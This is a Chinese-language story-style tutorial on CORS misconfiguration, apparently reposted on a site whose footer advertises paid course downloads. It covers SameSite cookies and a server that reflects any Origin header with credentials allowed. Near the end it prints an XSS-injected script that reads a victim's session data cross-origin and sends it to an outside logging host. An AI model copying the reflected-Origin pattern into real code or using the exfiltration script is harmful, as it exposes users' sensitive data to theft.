htf的cors跨域之旅
htf一直在维护一个网站,b.com。b.com中存在接口get_userinfo.php可以获取到用户的敏感信息’flag’,代码如下。
//http://b.com/get_userinfo.php
session_start();
if(isset($_SESSION['flag']))
{
echo "{'flag':".$_SESSION['flag']."}";
}
//http://b.com/generate_userinfo.php
session_start();
if(!isset($_SESSION['flag']))
{
$_SESSION['flag']=rand();
}
现在a.com——与b.com都是同样属于无法溯源组织的另一网站,因为一些功能需要访问b.com的/get_userinfo.php 接口以获取用户的flag对用户进行认证,这时候就需要在b网站上使用cors,允许来自a网站的访问。于是聪明的htf修 改了b.com/get_userinfo.php的代码:
//http://b.com/get_userinfo.php
session_start();
//允许来自a.com的请求
header('Access-Control-Allow-Origin: http://a.com');
header('Access-Control-Allow-Credentials: true');
if(isset($_SESSION['flag']))
{
echo "{'flag':".$_SESSION['flag']."}";
}
同时,htf在a.com的网页中使用了如下代码来获得用户在b.com的信息
<script>
var xmlhttp = new XMLHttpRequest(),
method = 'GET',
url = 'http://b.com/get_userinfo.php';
xmlhttp.open(method, url, true);
xmlhttp.withCredentials = true;
xmlhttp.onload = function () {
//显示返回的内容
alert(xmlhttp.response)
};
xmlhttp.send();
</script>
测试一下:正常访问b.com的get_userinfo.php
通过访问a.com的get_b_userinfo.html访问b网站的接口:
什么东西都没有,htf不禁皱了一下眉头,黑客的直觉告诉他事情没有这么简单。他打开百顺前两天发给他的burp钻石豪华版,准备抓个包一探究竟
抓包发现,js请求b.com的报文中并没有带上b.com的cookie,因此b.com没法通过session获得用户的flflag,自然也 没法返回数据。再打开Chrome的控制台,一行洋文映入眼中
经过十几年的学习,htf早已具备了使用翻译软件的能力,他光速打开翻译网站
设置了与上的跨站点资源关联的cookie,但未设置“SameSite”属性。它已被阻止,因为Chrome现在仅在跨站点请求中将Cookie设置为“SameSite=None”和“Secure”时才发送。您可以在“应用程序”>“存储”>“Cookies”下的开发人员工具中查看Cookie,并在030592和上查看更多详细信息。
谷歌
“samesite cookie?”,htf继续搜索
Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪。SameSite-cookies是一种机制,用于定义cookie如何跨域发送。这是谷歌开发的一种安全机制,并且现在在最 新版本(Chrome Dev 51.0.2704.4)中已经开始实行了。SameSite-cookies的目的是尝试阻止CSRF(Crosssite request forgery 跨站请求伪造)以及XSSI(Cross Site Script Inclusion (XSSI) 跨站脚本包含)攻击。详细 介…..
谷歌
尽管大部分内容都没有看懂,但是通过阅读htf知道这samesite是chrome浏览器独有的属性,因此他简单的修改了一 下网页,修复了这个问题:
网页也如他所期望的获得了弹出了flag
十年之后 我们是朋友 还可以问候 只是那种温柔 再也找不到拥抱的理由..
斗转星移,十年过去了,时间带走了htf帅气的容颜,也带去了htf过人的智慧,却不曾为htf带来一个女友。随着无法溯源的壮大,他们旗下多出了无数的网站c.com, d.com, e.com…. 为了便于管理,htf将他们统一放到了wufasuyuan.com下,作为wufasuyuan.com的子域名 这些网站虽然都没什么用,但他们都需要获取b.com的用户数据,因此b.wufasuyuan.com/get_userinfo.php的代码 就变成了这样
//http://b.wufasuyuan.com/get_userinfo.php
session_start();
$origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : '';
if($origin=='http://a.wufasuyuan.com')
{
header('Access-Control-Allow-Origin: http://a.wufasuyuan.com');
}else if($origin=='http://c.wufasuyuan.com')
{
header('Access-Control-Allow-Origin: http://c.wufasuyuan.com');
}else if($origin=='http://d.wufasuyuan.com')
{
header('Access-Control-Allow-Origin: http://d.wufasuyuan.com');
}else if($origin=='http://e.wufasuyuan.com')
{
header('Access-Control-Allow-Origin: http://e.wufasuyuan.com');
}else if($origin=='http://f.wufasuyuan.com')
{
header('Access-Control-Allow-Origin: http://f.wufasuyuan.com');
}else if($origin=='http://g.wufasuyuan.com')
{
header('Access-Control-Allow-Origin: http://g.wufasuyuan.com');
}else if($origin=='http://h.wufasuyuan.com')
{
//省略....................
header('Access-Control-Allow-Credentials: true');
if(isset($_SESSION['flag']))
{
echo "{'flag':".$_SESSION['flag']."}";
}
维护这样一份代码是很困难,更不要说htf每天日理万机,根本没有时间去维护。于是htf便想出一个方法,直接读取 请求中的origin头,并将它包含在响应头中
//http://b.wufasuyuan.com/get_userinfo.php
session_start();
$origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : '';
header('Access-Control-Allow-Origin: '.$origin);
header('Access-Control-Allow-Credentials: true');
if(isset($_SESSION['flag']))
{
echo "{'flag':".$_SESSION['flag']."}";
}
这样一来,任何来自任何网站的请求都可以访问b.wufasuyuan.com的内容,htf从此免去了维护这份列表的负担。
铳梦也是一名黑客,尽管没有htf(人称黑土匪)黑,但技术是一流的。一天他来到了无法溯源的某个子域下,发现自己的浏览器通过与b.wufasuyuan.com通信获取自己的敏感数据,黑客 的第六感让他意识到这里也许可以探索一下。他打开他的burp——白金豪华版,开始测试:首先他发送了一个正常包,一切正常
接着铳梦将Origin字段修改为无法溯源的其他子域,同样正常返回
Origin: c.wufasuyuan.com
他继续将Origin修改为一个不存在的子域名
Origin: htfsb.wufasuyuan.com
服务器依旧返回了他的flag。
最后,他又将Origin修改为自己的域名
服务器的Access-Control-Allow-Origin也返回了自己的域名。铳梦马上意识到这是一个cors跨域漏洞,他把这个漏洞 写成了一个简单的报告并附上了修改意见,交给了无法溯源src。htf的反馈也十分迅速:
在无法溯源src受到了侮辱的铳梦十分生气,他决定利用一下这个漏洞,让htf吃点苦头。首先他使用黑客技术在百度主站挖到了一个xss,任何打开百度主页的人都将受到攻击
他植入了以下代码,让任何浏览器中存有wufasuyuan.com的cookie的人打开百度都将被窃取账号中的flag:
<script>
var xmlhttp = new XMLHttpRequest(),
method = 'GET',
url = 'http://b.wufasuyuan.com/get_userinfo.php';
xmlhttp.open(method, url, true);
xmlhttp.withCredentials = true;
xmlhttp.onload = function () {
var xmlhttp2 = new XMLHttpRequest(),
method = 'GET',
url = 'http://chongmeng.com/log?data='+xmlhttp.response;
xmlhttp2.open(method, url, true);
xmlhttp2.withCredentials = true;
xmlhttp2.send();
};
xmlhttp.send();
</script>
第二天:
限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: lzxmw777